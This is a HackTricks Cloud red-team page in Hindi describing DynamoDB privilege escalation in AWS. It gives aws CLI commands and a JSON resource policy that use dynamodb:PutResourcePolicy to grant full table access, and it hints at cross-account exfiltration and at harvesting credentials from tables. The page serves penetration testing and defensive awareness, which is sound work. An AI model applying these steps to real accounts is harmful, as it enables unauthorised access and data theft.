AWS - DynamoDB Privesc
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
dynamodb
dynamodb के बारे में अधिक जानकारी के लिए देखें:
dynamodb:PutResourcePolicy, and optionally dynamodb:GetResourcePolicy
मार्च 2024 से, AWS ने DynamoDB के लिए resource based policies पेश की हैं (AWS News)।
इसलिए, यदि आपके पास किसी table के लिए dynamodb:PutResourcePolicy है, तो आप स्वयं को या किसी अन्य principal को उस table का पूर्ण एक्सेस दे सकते हैं।
किसी भी random principal को dynamodb:PutResourcePolicy देना अक्सर दुर्घटना से होता है, जब admins समझते हैं कि dynamodb:Put* देने से principal केवल database में items डाल पाएगा — या जब उन्होंने वह permissionset March 2024 से पहले दे दिया हो…
आदर्श रूप में, आपके पास dynamodb:GetResourcePolicy भी होना चाहिए, ताकि आप अन्य संभावित रूप से महत्वपूर्ण permissions को overwrite न करें, बल्कि केवल आवश्यक अतिरिक्त permissions जोड़ें:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
यदि आप वर्तमान policy प्राप्त नहीं कर पा रहे हैं, तो बस यह वाला उपयोग करें जो आपके principal को table पर पूरा एक्सेस देता है:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
यदि आपको इसे कस्टमाइज़ करने की आवश्यकता है, तो यहाँ सभी संभावित DynamoDB actions की सूची है: AWS Documentation. और यहाँ उन सभी actions की सूची है जिन्हें resource based policy के माध्यम से अनुमति दी जा सकती है AND which of these can be used cross-account (think data exfiltration!): AWS Documentation
अब, policy document policy.json तैयार होने पर, resource policy डालें:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
अब आपके पास आवश्यक permissions होने चाहिए।
Post Exploitation
मेरी जानकारी के अनुसार केवल कुछ AWS dynamodb permissions होने की स्थिति में AWS में privileges escalate करने का कोई अन्य सीधा तरीका नहीं है। आप tables से संवेदनशील जानकारी पढ़ सकते हैं (जो AWS credentials रख सकती है) और tables पर जानकारी लिख सकते हैं (जो अन्य vulnerabilities को ट्रिगर कर सकती हैं, जैसे lambda code injections…) लेकिन ये सभी विकल्प पहले से ही DynamoDB Post Exploitation page में शामिल किए गए हैं:
AWS - DynamoDB Post Exploitation
TODO: data Streams का दुरुपयोग करके डेटा पढ़ना
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
HackTricks Cloud

